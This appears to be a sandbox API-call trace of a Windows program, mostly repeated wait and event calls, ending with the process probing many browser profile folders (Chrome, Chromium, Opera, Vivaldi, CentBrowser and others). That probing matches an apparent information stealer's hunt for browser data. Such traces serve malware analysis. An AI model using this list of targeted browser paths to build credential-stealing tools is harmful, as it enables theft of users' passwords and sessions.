[0112.657] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0113.093] SetEvent (hEvent=0xec) returned 1
[0113.093] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0113.548] SetEvent (hEvent=0xec) returned 1
[0113.549] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0113.937] SetEvent (hEvent=0xec) returned 1
[0113.937] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0114.312] SetEvent (hEvent=0xec) returned 1
[0114.312] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0114.730] SetEvent (hEvent=0xec) returned 1
[0114.730] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0115.259] SetEvent (hEvent=0xec) returned 1
[0115.259] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0115.621] SetEvent (hEvent=0xec) returned 1
[0115.621] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0116.039] SetEvent (hEvent=0xec) returned 1
[0116.039] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0116.621] SetEvent (hEvent=0xec) returned 1
[0116.621] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0116.862] SetEvent (hEvent=0xec) returned 1
[0116.862] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0117.395] SetEvent (hEvent=0xec) returned 1
[0117.395] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0117.769] SetEvent (hEvent=0xec) returned 1
[0117.769] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0119.070] SetEvent (hEvent=0xec) returned 1
[0119.158] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0121.681] SetEvent (hEvent=0xec) returned 1
[0121.681] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0121.829] SetEvent (hEvent=0xec) returned 1
[0121.831] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0122.089] SetEvent (hEvent=0xec) returned 1
[0122.089] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0122.570] SetEvent (hEvent=0xec) returned 1
[0122.570] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0123.249] SetEvent (hEvent=0xec) returned 1
[0123.249] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0123.574] SetEvent (hEvent=0xec) returned 1
[0123.574] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0124.009] SetEvent (hEvent=0xec) returned 1
[0124.009] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0124.467] SetEvent (hEvent=0xec) returned 1
[0124.467] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0124.870] SetEvent (hEvent=0xec) returned 1
[0124.870] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0125.237] SetEvent (hEvent=0xec) returned 1
[0125.237] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0125.606] SetEvent (hEvent=0xec) returned 1
[0125.606] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0126.049] SetEvent (hEvent=0xec) returned 1
[0126.049] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0126.420] SetEvent (hEvent=0xec) returned 1
[0126.420] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0126.659] SetEvent (hEvent=0xec) returned 1
[0126.659] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0127.014] SetEvent (hEvent=0xec) returned 1
[0127.015] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0127.344] SetEvent (hEvent=0xec) returned 1
[0127.344] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0127.556] SetEvent (hEvent=0xec) returned 1
[0127.556] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0127.842] SetEvent (hEvent=0xec) returned 1
[0127.842] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0128.330] SetEvent (hEvent=0xec) returned 1
[0128.330] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0128.472] SetEvent (hEvent=0xec) returned 1
[0128.472] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0128.561] SetEvent (hEvent=0xec) returned 1
[0128.561] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0128.726] SetEvent (hEvent=0xec) returned 1
[0128.726] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0128.824] SetEvent (hEvent=0xec) returned 1
[0128.824] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0128.909] SetEvent (hEvent=0xec) returned 1
[0128.909] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0129.096] SetEvent (hEvent=0xec) returned 1
[0129.096] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0129.162] SetEvent (hEvent=0xec) returned 1
[0129.162] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0129.246] SetEvent (hEvent=0xec) returned 1
[0129.246] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0129.332] SetEvent (hEvent=0xec) returned 1
[0129.332] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0129.454] SetEvent (hEvent=0xec) returned 1
[0129.454] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0129.538] SetEvent (hEvent=0xec) returned 1
[0129.538] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0129.623] SetEvent (hEvent=0xec) returned 1
[0129.623] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0129.706] SetEvent (hEvent=0xec) returned 1
[0129.706] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0129.789] SetEvent (hEvent=0xec) returned 1
[0129.789] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0129.873] SetEvent (hEvent=0xec) returned 1
[0129.873] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0129.956] SetEvent (hEvent=0xec) returned 1
[0129.956] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0130.075] SetEvent (hEvent=0xec) returned 1
[0130.075] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0130.160] SetEvent (hEvent=0xec) returned 1
[0130.160] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0130.243] SetEvent (hEvent=0xec) returned 1
[0130.243] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0130.326] SetEvent (hEvent=0xec) returned 1
[0130.326] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0130.415] SetEvent (hEvent=0xec) returned 1
[0130.415] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0130.521] SetEvent (hEvent=0xec) returned 1
[0130.521] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0130.583] SetEvent (hEvent=0xec) returned 1
[0130.583] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0131.045] SetEvent (hEvent=0xec) returned 1
[0131.045] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0131.155] SetEvent (hEvent=0xec) returned 1
[0131.155] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0131.244] SetEvent (hEvent=0xec) returned 1
[0131.245] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0131.332] SetEvent (hEvent=0xec) returned 1
[0131.332] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0131.428] SetEvent (hEvent=0xec) returned 1
[0131.428] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0131.517] SetEvent (hEvent=0xec) returned 1
[0131.517] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0131.605] SetEvent (hEvent=0xec) returned 1
[0131.605] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0131.690] SetEvent (hEvent=0xec) returned 1
[0131.690] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0131.773] SetEvent (hEvent=0xec) returned 1
[0131.773] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0131.867] SetEvent (hEvent=0xec) returned 1
[0131.867] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0131.962] SetEvent (hEvent=0xfc) returned 1
[0131.962] VirtualAlloc (lpAddress=0xc00005e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005e000
[0131.963] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005e000, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.963] VirtualAlloc (lpAddress=0xc000060000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000060000
[0131.963] VirtualAlloc (lpAddress=0xc000062000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000062000
[0131.963] VirtualAlloc (lpAddress=0xc000064000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000064000
[0131.963] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/CatalinaGroup/Citrio/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\catalinagroup\\citrio\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000251b60 | out: lpFileInformation=0xc000251b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.964] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/CatalinaGroup/Citrio/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\catalinagroup\\citrio\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.964] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005e0d0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.964] VirtualAlloc (lpAddress=0xc000066000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000066000
[0131.964] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Chromium/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000051b60 | out: lpFileInformation=0xc000051b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.965] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Chromium/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.965] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005e1a0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.965] VirtualAlloc (lpAddress=0xc000068000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000068000
[0131.965] VirtualAlloc (lpAddress=0xc00006a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006a000
[0131.965] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Google/Chrome/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000053b60 | out: lpFileInformation=0xc000053b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.965] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Google/Chrome/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.965] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005e270, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.965] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Google(x86)/Chrome/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google(x86)\\chrome\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc00022fb60 | out: lpFileInformation=0xc00022fb60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.965] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Google(x86)/Chrome/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google(x86)\\chrome\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.965] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005e340, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.966] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Google/Chrome Beta/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome beta\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000231b60 | out: lpFileInformation=0xc000231b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.966] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Google/Chrome Beta/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome beta\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.966] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005e410, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.966] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Opera Software/Opera Stable" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable"), fInfoLevelId=0x0, lpFileInformation=0xc00022bb60 | out: lpFileInformation=0xc00022bb60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.966] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Opera Software/Opera Stable" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.966] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005e4e0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.966] VirtualAlloc (lpAddress=0xc00006c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006c000
[0131.966] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Opera Software/Opera Crypto Developer" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera crypto developer"), fInfoLevelId=0x0, lpFileInformation=0xc00022db60 | out: lpFileInformation=0xc00022db60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.967] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Opera Software/Opera Crypto Developer" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera crypto developer"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.967] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005e5b0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.967] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Opera Software/Opera GX Stable" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable"), fInfoLevelId=0x0, lpFileInformation=0xc000237b60 | out: lpFileInformation=0xc000237b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.967] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Opera Software/Opera GX Stable" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.967] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005e680, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.967] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/MapleStudio/ChromePlus/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\maplestudio\\chromeplus\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000239b60 | out: lpFileInformation=0xc000239b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.967] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/MapleStudio/ChromePlus/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\maplestudio\\chromeplus\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.967] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005e750, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.967] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Iridium/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\iridium\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000233b60 | out: lpFileInformation=0xc000233b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.967] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Iridium/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\iridium\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.967] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005e820, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.967] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/7Star/7Star/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000235b60 | out: lpFileInformation=0xc000235b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.968] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/7Star/7Star/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.968] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005e8f0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.968] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/CentBrowser/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000241b60 | out: lpFileInformation=0xc000241b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.968] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/CentBrowser/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.968] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005e9c0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.968] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Chedot/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000243b60 | out: lpFileInformation=0xc000243b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.968] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Chedot/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.968] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005ea90, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.968] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Vivaldi/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc00023db60 | out: lpFileInformation=0xc00023db60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.968] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Vivaldi/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.968] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005eb60, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.968] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Kometa/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\kometa\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc00023fb60 | out: lpFileInformation=0xc00023fb60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.968] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Kometa/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\kometa\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.968] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005ec30, nSize=0x64 | out: lpBuffer="") returned 0x15
